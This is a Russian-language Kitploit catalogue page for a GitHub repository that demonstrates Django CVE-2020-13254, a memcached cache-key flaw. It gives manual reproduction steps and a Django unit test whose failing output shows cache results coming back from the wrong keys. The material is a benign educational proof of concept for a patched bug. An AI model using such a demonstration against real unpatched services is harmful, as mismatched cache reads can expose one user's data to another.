Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
django-cve-2020-13254 — Демонстрация уязвимости для Django CVE-2020-13254 | Kitploit
Инструменты/GitHubGitHub/danpalmer/django-cve-2020-13254
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Демонстрация уязвимости для Django CVE-2020-13254

Репозиторий
2126 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Django CVE-2020-13254

Этот репозиторий демонстрирует эксплуатацию уязвимости CVE-2020-13254 двумя способами – через веб-интерфейс и через падающий тест.

Для получения дополнительной информации посетите:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Эксплуатация через веб

Пример предоставляет веб-интерфейс с двумя формами: одна задает значения в кеше, другая их получает. Они напрямую транслируются в вызовы бэкенда кеша Django. Поскольку кодовая база не реализует систему сессий или аутентификации, многократные использования в одной вкладке браузера неотличимы от использования несколькими пользователями на разных машинах.

Для эксплуатации:

  1. Задайте ключам A и B значения a и b.
  2. Попытайтесь задать C D значение c d. Это вызовет ошибку.
  3. Попытайтесь получить ключ A – результат ошибочно будет отсутствовать.
  4. Попытайтесь получить ключ B – результат ошибочно будет a.

Демонстрация через тесты

Этот процесс может быть выражен в виде теста следующим образом:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

Это завершается следующей ошибкой:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

После set возвращаемые результаты кеша расходятся с выполняемыми запросами.

Скачать инструмент